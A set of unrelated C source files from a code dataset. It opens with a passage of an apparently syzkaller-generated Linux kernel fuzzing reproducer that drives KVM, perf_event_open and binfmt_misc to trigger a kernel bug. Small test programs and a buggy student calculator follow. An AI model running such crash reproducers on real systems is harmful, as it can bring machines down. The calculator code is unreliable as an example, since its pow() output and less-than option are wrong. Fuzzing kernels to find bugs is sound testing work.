exit(1); } if (table->replace.entries_size > sizeof(table->entrytable)) exit(1); table->replace.num_counters = 0; table->replace.entries = table->entrytable; optlen = sizeof(table->replace) + table->replace.entries_size; if (getsockopt(fd, SOL_IP, EBT_SO_GET_INIT_ENTRIES, &table->replace, &optlen)) exit(1); } close(fd); } static void reset_ebtables() { int fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); if (fd == -1) { switch (errno) { case EAFNOSUPPORT: case ENOPROTOOPT: return; } exit(1); } for (unsigned i = 0; i < sizeof(ebt_tables) / sizeof(ebt_tables[0]); i++) { struct ebt_table_desc* table = &ebt_tables[i]; if (table->replace.valid_hooks == 0) continue; struct ebt_replace replace; memset(&replace, 0, sizeof(replace)); strcpy(replace.name, table->name); socklen_t optlen = sizeof(replace); if (getsockopt(fd, SOL_IP, EBT_SO_GET_INFO, &replace, &optlen)) exit(1); replace.num_counters = 0; table->replace.entries = 0; for (unsigned h = 0; h < NF_BR_NUMHOOKS; h++) table->replace.hook_entry[h] = 0; if (memcmp(&table->replace, &replace, sizeof(table->replace)) == 0) { char entrytable[XT_TABLE_SIZE]; memset(&entrytable, 0, sizeof(entrytable)); replace.entries = entrytable; optlen = sizeof(replace) + replace.entries_size; if (getsockopt(fd, SOL_IP, EBT_SO_GET_ENTRIES, &replace, &optlen)) exit(1); if (memcmp(table->entrytable, entrytable, replace.entries_size) == 0) continue; } for (unsigned j = 0, h = 0; h < NF_BR_NUMHOOKS; h++) { if (table->replace.valid_hooks & (1 << h)) { table->replace.hook_entry[h] = (struct ebt_entries*)table->entrytable + j; j++; } } table->replace.entries = table->entrytable; optlen = sizeof(table->replace) + table->replace.entries_size; if (setsockopt(fd, SOL_IP, EBT_SO_SET_ENTRIES, &table->replace, optlen)) exit(1); } close(fd); } static void checkpoint_net_namespace(void) { checkpoint_ebtables(); checkpoint_arptables(); checkpoint_iptables(ipv4_tables, sizeof(ipv4_tables) / sizeof(ipv4_tables[0]), AF_INET, SOL_IP); checkpoint_iptables(ipv6_tables, sizeof(ipv6_tables) / sizeof(ipv6_tables[0]), AF_INET6, SOL_IPV6); } static void reset_net_namespace(void) { reset_ebtables(); reset_arptables(); reset_iptables(ipv4_tables, sizeof(ipv4_tables) / sizeof(ipv4_tables[0]), AF_INET, SOL_IP); reset_iptables(ipv6_tables, sizeof(ipv6_tables) / sizeof(ipv6_tables[0]), AF_INET6, SOL_IPV6); } static void setup_cgroups() { if (mkdir("/syzcgroup", 0777)) { } if (mkdir("/syzcgroup/unified", 0777)) { } if (mount("none", "/syzcgroup/unified", "cgroup2", 0, NULL)) { } if (chmod("/syzcgroup/unified", 0777)) { } write_file("/syzcgroup/unified/cgroup.subtree_control", "+cpu +memory +io +pids +rdma"); if (mkdir("/syzcgroup/cpu", 0777)) { } if (mount("none", "/syzcgroup/cpu", "cgroup", 0, "cpuset,cpuacct,perf_event,hugetlb")) { } write_file("/syzcgroup/cpu/cgroup.clone_children", "1"); write_file("/syzcgroup/cpu/cpuset.memory_pressure_enabled", "1"); if (chmod("/syzcgroup/cpu", 0777)) { } if (mkdir("/syzcgroup/net", 0777)) { } if (mount("none", "/syzcgroup/net", "cgroup", 0, "net_cls,net_prio,devices,freezer")) { } if (chmod("/syzcgroup/net", 0777)) { } } static void setup_cgroups_loop() { int pid = getpid(); char file[128]; char cgroupdir[64]; snprintf(cgroupdir, sizeof(cgroupdir), "/syzcgroup/unified/syz%llu", procid); if (mkdir(cgroupdir, 0777)) { } snprintf(file, sizeof(file), "%s/pids.max", cgroupdir); write_file(file, "32"); snprintf(file, sizeof(file), "%s/memory.low", cgroupdir); write_file(file, "%d", 298 << 20); snprintf(file, sizeof(file), "%s/memory.high", cgroupdir); write_file(file, "%d", 299 << 20); snprintf(file, sizeof(file), "%s/memory.max", cgroupdir); write_file(file, "%d", 300 << 20); snprintf(file, sizeof(file), "%s/cgroup.procs", cgroupdir); write_file(file, "%d", pid); snprintf(cgroupdir, sizeof(cgroupdir), "/syzcgroup/cpu/syz%llu", procid); if (mkdir(cgroupdir, 0777)) { } snprintf(file, sizeof(file), "%s/cgroup.procs", cgroupdir); write_file(file, "%d", pid); snprintf(cgroupdir, sizeof(cgroupdir), "/syzcgroup/net/syz%llu", procid); if (mkdir(cgroupdir, 0777)) { } snprintf(file, sizeof(file), "%s/cgroup.procs", cgroupdir); write_file(file, "%d", pid); } static void setup_cgroups_test() { char cgroupdir[64]; snprintf(cgroupdir, sizeof(cgroupdir), "/syzcgroup/unified/syz%llu", procid); if (symlink(cgroupdir, "./cgroup")) { } snprintf(cgroupdir, sizeof(cgroupdir), "/syzcgroup/cpu/syz%llu", procid); if (symlink(cgroupdir, "./cgroup.cpu")) { } snprintf(cgroupdir, sizeof(cgroupdir), "/syzcgroup/net/syz%llu", procid); if (symlink(cgroupdir, "./cgroup.net")) { } } static void setup_common() { if (mount(0, "/sys/fs/fuse/connections", "fusectl", 0, 0)) { } setup_cgroups(); } static void loop(); static void sandbox_common() { prctl(PR_SET_PDEATHSIG, SIGKILL, 0, 0, 0); setsid(); struct rlimit rlim; rlim.rlim_cur = rlim.rlim_max = (200 << 20); setrlimit(RLIMIT_AS, &rlim); rlim.rlim_cur = rlim.rlim_max = 32 << 20; setrlimit(RLIMIT_MEMLOCK, &rlim); rlim.rlim_cur = rlim.rlim_max = 136 << 20; setrlimit(RLIMIT_FSIZE, &rlim); rlim.rlim_cur = rlim.rlim_max = 1 << 20; setrlimit(RLIMIT_STACK, &rlim); rlim.rlim_cur = rlim.rlim_max = 0; setrlimit(RLIMIT_CORE, &rlim); rlim.rlim_cur = rlim.rlim_max = 256; setrlimit(RLIMIT_NOFILE, &rlim); if (unshare(CLONE_NEWNS)) { } if (mount(NULL, "/", NULL, MS_REC | MS_PRIVATE, NULL)) { } if (unshare(CLONE_NEWIPC)) { } if (unshare(0x02000000)) { } if (unshare(CLONE_NEWUTS)) { } if (unshare(CLONE_SYSVSEM)) { } typedef struct { const char* name; const char* value; } sysctl_t; static const sysctl_t sysctls[] = { {"/proc/sys/kernel/shmmax", "16777216"}, {"/proc/sys/kernel/shmall", "536870912"}, {"/proc/sys/kernel/shmmni", "1024"}, {"/proc/sys/kernel/msgmax", "8192"}, {"/proc/sys/kernel/msgmni", "1024"}, {"/proc/sys/kernel/msgmnb", "1024"}, {"/proc/sys/kernel/sem", "1024 1048576 500 1024"}, }; unsigned i; for (i = 0; i < sizeof(sysctls) / sizeof(sysctls[0]); i++) write_file(sysctls[i].name, sysctls[i].value); } static int wait_for_loop(int pid) { if (pid < 0) exit(1); int status = 0; while (waitpid(-1, &status, __WALL) != pid) { } return WEXITSTATUS(status); } static void drop_caps(void) { struct __user_cap_header_struct cap_hdr = {}; struct __user_cap_data_struct cap_data[2] = {}; cap_hdr.version = _LINUX_CAPABILITY_VERSION_3; cap_hdr.pid = getpid(); if (syscall(SYS_capget, &cap_hdr, &cap_data)) exit(1); const int drop = (1 << CAP_SYS_PTRACE) | (1 << CAP_SYS_NICE); cap_data[0].effective &= ~drop; cap_data[0].permitted &= ~drop; cap_data[0].inheritable &= ~drop; if (syscall(SYS_capset, &cap_hdr, &cap_data)) exit(1); } static int do_sandbox_none(void) { if (unshare(CLONE_NEWPID)) { } int pid = fork(); if (pid != 0) return wait_for_loop(pid); setup_common(); initialize_vhci(); sandbox_common(); drop_caps(); initialize_netdevices_init(); if (unshare(CLONE_NEWNET)) { } initialize_tun(); initialize_netdevices(); loop(); exit(1); } #define FS_IOC_SETFLAGS _IOW('f', 2, long) static void remove_dir(const char* dir) { int iter = 0; DIR* dp = 0; retry: while (umount2(dir, MNT_DETACH) == 0) { } dp = opendir(dir); if (dp == NULL) { if (errno == EMFILE) { exit(1); } exit(1); } struct dirent* ep = 0; while ((ep = readdir(dp))) { if (strcmp(ep->d_name, ".") == 0 || strcmp(ep->d_name, "..") == 0) continue; char filename[FILENAME_MAX]; snprintf(filename, sizeof(filename), "%s/%s", dir, ep->d_name); while (umount2(filename, MNT_DETACH) == 0) { } struct stat st; if (lstat(filename, &st)) exit(1); if (S_ISDIR(st.st_mode)) { remove_dir(filename); continue; } int i; for (i = 0;; i++) { if (unlink(filename) == 0) break; if (errno == EPERM) { int fd = open(filename, O_RDONLY); if (fd != -1) { long flags = 0; if (ioctl(fd, FS_IOC_SETFLAGS, &flags) == 0) { } close(fd); continue; } } if (errno == EROFS) { break; } if (errno != EBUSY || i > 100) exit(1); if (umount2(filename, MNT_DETACH)) exit(1); } } closedir(dp); for (int i = 0;; i++) { if (rmdir(dir) == 0) break; if (i < 100) { if (errno == EPERM) { int fd = open(dir, O_RDONLY); if (fd != -1) { long flags = 0; if (ioctl(fd, FS_IOC_SETFLAGS, &flags) == 0) { } close(fd); continue; } } if (errno == EROFS) { break; } if (errno == EBUSY) { if (umount2(dir, MNT_DETACH)) exit(1); continue; } if (errno == ENOTEMPTY) { if (iter < 100) { iter++; goto retry; } } } exit(1); } } static void kill_and_wait(int pid, int* status) { kill(-pid, SIGKILL); kill(pid, SIGKILL); for (int i = 0; i < 100; i++) { if (waitpid(-1, status, WNOHANG | __WALL) == pid) return; usleep(1000); } DIR* dir = opendir("/sys/fs/fuse/connections"); if (dir) { for (;;) { struct dirent* ent = readdir(dir); if (!ent) break; if (strcmp(ent->d_name, ".") == 0 || strcmp(ent->d_name, "..") == 0) continue; char abort[300]; snprintf(abort, sizeof(abort), "/sys/fs/fuse/connections/%s/abort", ent->d_name); int fd = open(abort, O_WRONLY); if (fd == -1) { continue; } if (write(fd, abort, 1) < 0) { } close(fd); } closedir(dir); } else { } while (waitpid(-1, status, __WALL) != pid) { } } static void setup_loop() { setup_cgroups_loop(); checkpoint_net_namespace(); } static void reset_loop() { reset_net_namespace(); } static void setup_test() { prctl(PR_SET_PDEATHSIG, SIGKILL, 0, 0, 0); setpgrp(); setup_cgroups_test(); write_file("/proc/self/oom_score_adj", "1000"); flush_tun(); } static void close_fds() { for (int fd = 3; fd < MAX_FDS; fd++) close(fd); } static void setup_binfmt_misc() { if (mount(0, "/proc/sys/fs/binfmt_misc", "binfmt_misc", 0, 0)) { } write_file("/proc/sys/fs/binfmt_misc/register", ":syz0:M:0:\x01::./file0:"); write_file("/proc/sys/fs/binfmt_misc/register", ":syz1:M:1:\x02::./file0:POC"); } struct thread_t { int created, call; event_t ready, done; }; static struct thread_t threads[16]; static void execute_call(int call); static int running; static void* thr(void* arg) { struct thread_t* th = (struct thread_t*)arg; for (;;) { event_wait(&th->ready); event_reset(&th->ready); execute_call(th->call); __atomic_fetch_sub(&running, 1, __ATOMIC_RELAXED); event_set(&th->done); } return 0; } static void execute_one(void) { int i, call, thread; int collide = 0; again: for (call = 0; call < 11; call++) { for (thread = 0; thread < (int)(sizeof(threads) / sizeof(threads[0])); thread++) { struct thread_t* th = &threads[thread]; if (!th->created) { th->created = 1; event_init(&th->ready); event_init(&th->done); event_set(&th->done); thread_start(thr, th); } if (!event_isset(&th->done)) continue; event_reset(&th->done); th->call = call; __atomic_fetch_add(&running, 1, __ATOMIC_RELAXED); event_set(&th->ready); if (collide && (call % 2) == 0) break; event_timedwait(&th->done, 50); break; } } for (i = 0; i < 100 && __atomic_load_n(&running, __ATOMIC_RELAXED); i++) sleep_ms(1); close_fds(); if (!collide) { collide = 1; goto again; } } static void execute_one(void); #define WAIT_FLAGS __WALL static void loop(void) { setup_loop(); int iter = 0; for (;; iter++) { char cwdbuf[32]; sprintf(cwdbuf, "./%d", iter); if (mkdir(cwdbuf, 0777)) exit(1); reset_loop(); int pid = fork(); if (pid < 0) exit(1); if (pid == 0) { if (chdir(cwdbuf)) exit(1); setup_test(); execute_one(); exit(0); } int status = 0; uint64_t start = current_time_ms(); for (;;) { if (waitpid(-1, &status, WNOHANG | WAIT_FLAGS) == pid) break; sleep_ms(1); if (current_time_ms() - start < 5000) { continue; } kill_and_wait(pid, &status); break; } remove_dir(cwdbuf); } } uint64_t r[3] = {0xffffffffffffffff, 0xffffffffffffffff, 0xffffffffffffffff}; void execute_call(int call) { intptr_t res = 0; switch (call) { case 0: NONFAILING(*(uint32_t*)0x20000380 = 0); NONFAILING(*(uint32_t*)0x20000384 = 0x70); NONFAILING(*(uint8_t*)0x20000388 = 8); NONFAILING(*(uint8_t*)0x20000389 = 3); NONFAILING(*(uint8_t*)0x2000038a = 0); NONFAILING(*(uint8_t*)0x2000038b = 0x15); NONFAILING(*(uint32_t*)0x2000038c = 0); NONFAILING(*(uint64_t*)0x20000390 = 9); NONFAILING(*(uint64_t*)0x20000398 = 0x2420); NONFAILING(*(uint64_t*)0x200003a0 = 9); NONFAILING(STORE_BY_BITMASK(uint64_t, , 0x200003a8, 1, 0, 1)); NONFAILING(STORE_BY_BITMASK(uint64_t, , 0x200003a8, 0, 1, 1)); NONFAILING(STORE_BY_BITMASK(uint64_t, , 0x200003a8, 1, 2, 1)); NONFAILING(STORE_BY_BITMASK(uint64_t, , 0x200003a8, 0, 3, 1)); NONFAILING(STORE_BY_BITMASK(uint64_t, , 0x200003a8, 0, 4, 1)); NONFAILING(STORE_BY_BITMASK(uint64_t, , 0x200003a8, 0, 5, 1)); NONFAILING(STORE_BY_BITMASK(uint64_t, , 0x200003a8, 1, 6, 1)); NONFAILING(STORE_BY_BITMASK(uint64_t, , 0x200003a8, 1, 7, 1)); NONFAILING(STORE_BY_BITMASK(uint64_t, , 0x200003a8, 1, 8, 1)); NONFAILING(STORE_BY_BITMASK(uint64_t, , 0x200003a8, 1, 9, 1)); NONFAILING(STORE_BY_BITMASK(uint64_t, , 0x200003a8, 1, 10, 1)); NONFAILING(STORE_BY_BITMASK(uint64_t, , 0x200003a8, 0, 11, 1)); NONFAILING(STORE_BY_BITMASK(uint64_t, , 0x200003a8, 1, 12, 1)); NONFAILING(STORE_BY_BITMASK(uint64_t, , 0x200003a8, 0, 13, 1)); NONFAILING(STORE_BY_BITMASK(uint64_t, , 0x200003a8, 0, 14, 1)); NONFAILING(STORE_BY_BITMASK(uint64_t, , 0x200003a8, 0, 15, 2)); NONFAILING(STORE_BY_BITMASK(uint64_t, , 0x200003a8, 0, 17, 1)); NONFAILING(STORE_BY_BITMASK(uint64_t, , 0x200003a8, 1, 18, 1)); NONFAILING(STORE_BY_BITMASK(uint64_t, , 0x200003a8, 1, 19, 1)); NONFAILING(STORE_BY_BITMASK(uint64_t, , 0x200003a8, 0, 20, 1)); NONFAILING(STORE_BY_BITMASK(uint64_t, , 0x200003a8, 0, 21, 1)); NONFAILING(STORE_BY_BITMASK(uint64_t, , 0x200003a8, 1, 22, 1)); NONFAILING(STORE_BY_BITMASK(uint64_t, , 0x200003a8, 1, 23, 1)); NONFAILING(STORE_BY_BITMASK(uint64_t, , 0x200003a8, 0, 24, 1)); NONFAILING(STORE_BY_BITMASK(uint64_t, , 0x200003a8, 0, 25, 1)); NONFAILING(STORE_BY_BITMASK(uint64_t, , 0x200003a8, 0, 26, 1)); NONFAILING(STORE_BY_BITMASK(uint64_t, , 0x200003a8, 1, 27, 1)); NONFAILING(STORE_BY_BITMASK(uint64_t, , 0x200003a8, 0, 28, 1)); NONFAILING(STORE_BY_BITMASK(uint64_t, , 0x200003a8, 0, 29, 1)); NONFAILING(STORE_BY_BITMASK(uint64_t, , 0x200003a8, 0x83d, 30, 1)); NONFAILING(STORE_BY_BITMASK(uint64_t, , 0x200003a8, 0, 31, 1)); NONFAILING(STORE_BY_BITMASK(uint64_t, , 0x200003a8, 0, 32, 1)); NONFAILING(STORE_BY_BITMASK(uint64_t, , 0x200003a8, 3, 33, 1)); NONFAILING(STORE_BY_BITMASK(uint64_t, , 0x200003a8, 7, 34, 1)); NONFAILING(STORE_BY_BITMASK(uint64_t, , 0x200003a8, 5, 35, 1)); NONFAILING(STORE_BY_BITMASK(uint64_t, , 0x200003a8, 0, 36, 1)); NONFAILING(STORE_BY_BITMASK(uint64_t, , 0x200003a8, 0, 37, 1)); NONFAILING(STORE_BY_BITMASK(uint64_t, , 0x200003a8, 0xffff, 38, 26)); NONFAILING(*(uint32_t*)0x200003b0 = 0); NONFAILING(*(uint32_t*)0x200003b4 = 0); NONFAILING(*(uint64_t*)0x200003b8 = 0x20000000); NONFAILING(*(uint64_t*)0x200003c0 = 0); NONFAILING(*(uint64_t*)0x200003c8 = 0); NONFAILING(*(uint64_t*)0x200003d0 = 0); NONFAILING(*(uint32_t*)0x200003d8 = 0); NONFAILING(*(uint32_t*)0x200003dc = 0); NONFAILING(*(uint64_t*)0x200003e0 = 0); NONFAILING(*(uint32_t*)0x200003e8 = 0); NONFAILING(*(uint16_t*)0x200003ec = 0); NONFAILING(*(uint16_t*)0x200003ee = 0); NONFAILING(*(uint32_t*)0x200003f0 = 0); NONFAILING(*(uint32_t*)0x200003f4 = 0); NONFAILING(*(uint64_t*)0x200003f8 = 0); syscall(__NR_perf_event_open, 0x20000380ul, 0, 0x10ul, -1, 3ul); break; case 1: NONFAILING(memcpy((void*)0x20000000, "/dev/kvm\000", 9)); res = syscall(__NR_openat, 0xffffffffffffff9cul, 0x20000000ul, 0ul, 0ul); if (res != -1) r[0] = res; break; case 2: res = syscall(__NR_ioctl, r[0], 0xae01, 0ul); if (res != -1) r[1] = res; break; case 3: NONFAILING(*(uint64_t*)0x200000c0 = 8); NONFAILING(*(uint64_t*)0x200000c8 = 0x20000080); NONFAILING( memcpy((void*)0x20000080, "\xba\xa1\x00\x00\xee\xf3\x6c\xba\x21\x00\xec\x66\xb9\x80\x00" "\x00\xc0\x0f\x32\x66\x35\x00\x10\x00\x00\x0f\x30\xba\xd1\x04" "\xec\xc8\x00\x80\xd2\x67\xd9\xf8\xf3\x0f\x1b\xb4\x29\x00\x0f" "\x20\xc0\x66\x35\x20\x00\x00\x00\x0f\x22\xc0\x67\xf3\xaf", 59)); NONFAILING(*(uint64_t*)0x200000d0 = 0x3b); NONFAILING(syz_kvm_setup_cpu(-1, -1, 0x20000000, 0x200000c0, 1, 0, 0, 0)); break; case 4: res = syscall(__NR_ioctl, r[1], 0xae41, 0ul); if (res != -1) r[2] = res; break; case 5: NONFAILING(*(uint32_t*)0x20000040 = 0); NONFAILING(*(uint32_t*)0x20000044 = 0x70); NONFAILING(*(uint8_t*)0x20000048 = 0); NONFAILING(*(uint8_t*)0x20000049 = 0); NONFAILING(*(uint8_t*)0x2000004a = 0); NONFAILING(*(uint8_t*)0x2000004b = 0); NONFAILING(*(uint32_t*)0x2000004c = 0); NONFAILING(*(uint64_t*)0x20000050 = 0); NONFAILING(*(uint64_t*)0x20000058 = 0xc1028); NONFAILING(*(uint64_t*)0x20000060 = 0); NONFAILING(STORE_BY_BITMASK(uint64_t, , 0x20000068, 0, 0, 1)); NONFAILING(STORE_BY_BITMASK(uint64_t, , 0x20000068, 0, 1, 1)); NONFAILING(STORE_BY_BITMASK(uint64_t, , 0x20000068, 0, 2, 1)); NONFAILING(STORE_BY_BITMASK(uint64_t, , 0x20000068, 0, 3, 1)); NONFAILING(STORE_BY_BITMASK(uint64_t, , 0x20000068, 0, 4, 1)); NONFAILING(STORE_BY_BITMASK(uint64_t, , 0x20000068, 0, 5, 1)); NONFAILING(STORE_BY_BITMASK(uint64_t, , 0x20000068, 0, 6, 1)); NONFAILING(STORE_BY_BITMASK(uint64_t, , 0x20000068, 0, 7, 1)); NONFAILING(STORE_BY_BITMASK(uint64_t, , 0x20000068, 0, 8, 1)); NONFAILING(STORE_BY_BITMASK(uint64_t, , 0x20000068, 0, 9, 1)); NONFAILING(STORE_BY_BITMASK(uint64_t, , 0x20000068, 0, 10, 1)); NONFAILING(STORE_BY_BITMASK(uint64_t, , 0x20000068, 0, 11, 1)); NONFAILING(STORE_BY_BITMASK(uint64_t, , 0x20000068, 0, 12, 1)); NONFAILING(STORE_BY_BITMASK(uint64_t, , 0x20000068, 0, 13, 1)); NONFAILING(STORE_BY_BITMASK(uint64_t, , 0x20000068, 0, 14, 1)); NONFAILING(STORE_BY_BITMASK(uint64_t, , 0x20000068, 0, 15, 2)); NONFAILING(STORE_BY_BITMASK(uint64_t, , 0x20000068, 0, 17, 1)); NONFAILING(STORE_BY_BITMASK(uint64_t, , 0x20000068, 0, 18, 1)); NONFAILING(STORE_BY_BITMASK(uint64_t, , 0x20000068, 0, 19, 1)); NONFAILING(STORE_BY_BITMASK(uint64_t, , 0x20000068, 0, 20, 1)); NONFAILING(STORE_BY_BITMASK(uint64_t, , 0x20000068, 0, 21, 1)); NONFAILING(STORE_BY_BITMASK(uint64_t, , 0x20000068, 0, 22, 1)); NONFAILING(STORE_BY_BITMASK(uint64_t, , 0x20000068, 0, 23, 1)); NONFAILING(STORE_BY_BITMASK(uint64_t, , 0x20000068, 0, 24, 1)); NONFAILING(STORE_BY_BITMASK(uint64_t, , 0x20000068, 0, 25, 1)); NONFAILING(STORE_BY_BITMASK(uint64_t, , 0x20000068, 0, 26, 1)); NONFAILING(STORE_BY_BITMASK(uint64_t, , 0x20000068, 0, 27, 1)); NONFAILING(STORE_BY_BITMASK(uint64_t, , 0x20000068, 0, 28, 1)); NONFAILING(STORE_BY_BITMASK(uint64_t, , 0x20000068, 0, 29, 1)); NONFAILING(STORE_BY_BITMASK(uint64_t, , 0x20000068, 0, 30, 1)); NONFAILING(STORE_BY_BITMASK(uint64_t, , 0x20000068, 0, 31, 1)); NONFAILING(STORE_BY_BITMASK(uint64_t, , 0x20000068, 0, 32, 1)); NONFAILING(STORE_BY_BITMASK(uint64_t, , 0x20000068, 0, 33, 1)); NONFAILING(STORE_BY_BITMASK(uint64_t, , 0x20000068, 0, 34, 1)); NONFAILING(STORE_BY_BITMASK(uint64_t, , 0x20000068, 0, 35, 1)); NONFAILING(STORE_BY_BITMASK(uint64_t, , 0x20000068, 0, 36, 1)); NONFAILING(STORE_BY_BITMASK(uint64_t, , 0x20000068, 0, 37, 1)); NONFAILING(STORE_BY_BITMASK(uint64_t, , 0x20000068, 0, 38, 26)); NONFAILING(*(uint32_t*)0x20000070 = 0); NONFAILING(*(uint32_t*)0x20000074 = 0); NONFAILING(*(uint64_t*)0x20000078 = 0x20000000); NONFAILING(*(uint64_t*)0x20000080 = 0); NONFAILING(*(uint64_t*)0x20000088 = 0); NONFAILING(*(uint64_t*)0x20000090 = 0); NONFAILING(*(uint32_t*)0x20000098 = 0); NONFAILING(*(uint32_t*)0x2000009c = 0); NONFAILING(*(uint64_t*)0x200000a0 = 0); NONFAILING(*(uint32_t*)0x200000a8 = 0); NONFAILING(*(uint16_t*)0x200000ac = 0); NONFAILING(*(uint16_t*)0x200000ae = 0); NONFAILING(*(uint32_t*)0x200000b0 = 0); NONFAILING(*(uint32_t*)0x200000b4 = 0); NONFAILING(*(uint64_t*)0x200000b8 = 0); syscall(__NR_perf_event_open, 0x20000040ul, 0, 0ul, -1, 0ul); break; case 6: NONFAILING(*(uint32_t*)0x20bf7000 = 0); NONFAILING(*(uint32_t*)0x20bf7004 = 0); NONFAILING(*(uint64_t*)0x20bf7008 = 0); NONFAILING(*(uint64_t*)0x20bf7010 = 0x1000); NONFAILING(*(uint64_t*)0x20bf7018 = 0x20000000); syscall(__NR_ioctl, r[1], 0x4020ae46, 0x20bf7000ul); break; case 7: NONFAILING(*(uint64_t*)0x20000200 = 0); NONFAILING(*(uint64_t*)0x20000208 = 0); NONFAILING(*(uint64_t*)0x20000210 = 0); NONFAILING(*(uint64_t*)0x20000218 = 0); NONFAILING(*(uint64_t*)0x20000220 = 0); NONFAILING(*(uint64_t*)0x20000228 = 0); NONFAILING(*(uint64_t*)0x20000230 = 0x4000000000ff); NONFAILING(*(uint64_t*)0x20000238 = 0); NONFAILING(*(uint64_t*)0x20000240 = 0); NONFAILING(*(uint64_t*)0x20000248 = 0); NONFAILING(*(uint64_t*)0x20000250 = 0); NONFAILING(*(uint64_t*)0x20000258 = 0); NONFAILING(*(uint64_t*)0x20000260 = 0); NONFAILING(*(uint64_t*)0x20000268 = 0); NONFAILING(*(uint64_t*)0x20000270 = 0); NONFAILING(*(uint64_t*)0x20000278 = 0); NONFAILING(*(uint64_t*)0x20000280 = 0x1f000); NONFAILING(*(uint64_t*)0x20000288 = 0); syscall(__NR_ioctl, r[2], 0x4090ae82, 0x20000200ul); break; case 8: syscall(__NR_ioctl, r[2], 0xae80, 0ul); break; case 9: NONFAILING(*(uint64_t*)0x200002c0 = 8); NONFAILING(*(uint64_t*)0x200002c8 = 0); NONFAILING(*(uint64_t*)0x200002d0 = 0); NONFAILING( syz_kvm_setup_cpu(r[1], -1, 0x207ac000, 0x200002c0, 1, 0x28, 0, 0)); break; case 10: syscall(__NR_openat, -1, 0ul, 0ul, 0ul); break; } } int main(void) { syscall(__NR_mmap, 0x1ffff000ul, 0x1000ul, 0ul, 0x32ul, -1, 0ul); syscall(__NR_mmap, 0x20000000ul, 0x1000000ul, 7ul, 0x32ul, -1, 0ul); syscall(__NR_mmap, 0x21000000ul, 0x1000ul, 0ul, 0x32ul, -1, 0ul); setup_binfmt_misc(); install_segv_handler(); for (procid = 0; procid < 6; procid++) { if (fork() == 0) { use_temporary_dir(); do_sandbox_none(); } } sleep(1000000); return 0; }
the_stack_data/70450911.c
/* This testcase is part of GDB, the GNU debugger. Copyright 2008-2014 Free Software Foundation, Inc. This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 3 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program. If not, see <http://www.gnu.org/licenses/>. */ /* Test handling thread control across an execl. */ /* New exec image that doesn't load any thread library. */ int main (int argc, char* argv[]) { return 0; }
the_stack_data/192331165.c
int main(int argc, char **argv) { int a[4] = {1,2,3,4}; #pragma omp parallel { for (int i = 0; i < 4; ++i) { a[i] = 3*a[i]; } } return 0; }
the_stack_data/194807.c
int main(int argc, char **argv) { int x; if (argc&1) { x = (((argc|5)+8)|23)+1; } else { x = (argc+4)&0x77; } return (*argv) = x << 3; }
the_stack_data/125141276.c
#include <stdio.h> #include <math.h> int main(){ int choice, num1, num2; printf("-------------------------------------------\n"); printf("| OPTIONS | OPERATIONS |\n"); printf("-------------------------------------------\n"); printf("| 1 | Addition(+) |\n"); printf("| 2 | Multiplication(*) |\n"); printf("| 3 | Mod(%%) |\n"); printf("| 4 | PreIncrement(++) |\n"); printf("| 5 | PostDecrement(--) |\n"); printf("| 6 | Greater Than(>) |\n"); printf("| 7 | Greater and Equals to(>=) |\n"); printf("| 8 | Less than(<) |\n"); printf("| 9 | Less and Equal to(<=) |\n"); printf("| 10 | Is Equal to(==) |\n"); printf("| 11 | Not Equal to(!=) |\n"); printf("| 12 | Power(x^y) |\n"); printf("| 13 | Square Root(x) |\n"); printf("--------------------------------------------\n"); printf("ENTER OPTION: "); scanf("%d", &choice); printf("--------------------------------------------\n\n"); switch(choice) { case 1: printf("Enter first number : "); scanf("%d", &num1); printf("Enter second number: "); scanf("%d", &num2); printf("\nAnswer: %d", num1+num2); break; case 2: printf("Enter first number : "); scanf("%d", &num1); printf("Enter second number: "); scanf("%d", &num2); printf("\nAnswer: %d", num1*num2); break; case 3: printf("Enter first number : "); scanf("%d", &num1); printf("Enter second number: "); scanf("%d", &num2); printf("\nAnswer: %d", num1%num2); break; case 4: printf("Enter a number : "); scanf("%d", &num1); printf("\nAnswer: %d", ++num1); break; case 5: printf("Enter a number : "); scanf("%d", &num1); printf("\nAnswer: %d", num1--); break; case 6: printf("Enter first number : "); scanf("%d", &num1); printf("Enter second number: "); scanf("%d", &num2); if(num1 > num2) { printf("\n%d is greater than %d", num1, num2); } break; case 7: printf("Enter first number : "); scanf("%d", &num1); printf("Enter second number: "); scanf("%d", &num2); if(num1 >= num2) { printf("\n%d is greater than or equals to %d", num1, num2); } break; case 8: printf("Enter first number : "); scanf("%d", &num1); printf("Enter second number: "); scanf("%d", &num2); printf("\nAnswer: %d", num1+num2); if(num1 < num2) { printf("\n%d is less than %d", num1, num2); } break; case 9: printf("Enter first number : "); scanf("%d", &num1); printf("Enter second number: "); scanf("%d", &num2); if(num1 <= num2) { printf("\n%d is less than or equals to %d", num1, num2); } break; case 10: printf("Enter first number : "); scanf("%d", &num1); printf("Enter second number: "); scanf("%d", &num2); if(num1 == num2) { printf("\n%d is equal to %d", num1, num2); } break; case 11: printf("Enter first number : "); scanf("%d", &num1); printf("Enter second number: "); scanf("%d", &num2); if(num1 != num2) { printf("\n%d is not equal to %d", num1, num2); } break; case 12: printf("Enter a number : "); scanf("%d", &num1); printf("Enter its power: "); scanf("%d", &num2); printf("\nAnswer: %d", pow(num1, num2)); break; case 13: printf("Enter a number : "); scanf("%d", &num1); printf("\nAnswer: %.2f", sqrt((float)num1)); break; default: printf("\nInvalid Option Entered\n"); } return 0; }
the_stack_data/215769559.c
/* $NetBSD: Lint_labs.c,v 1.2 2000/06/14 06:49:07 cgd Exp $ */ /* * This file placed in the public domain. * Chris Demetriou, November 5, 1997. */ #include <stdlib.h> /*ARGSUSED*/ long labs(j) long j; { return (0); }
the_stack_data/438788.c
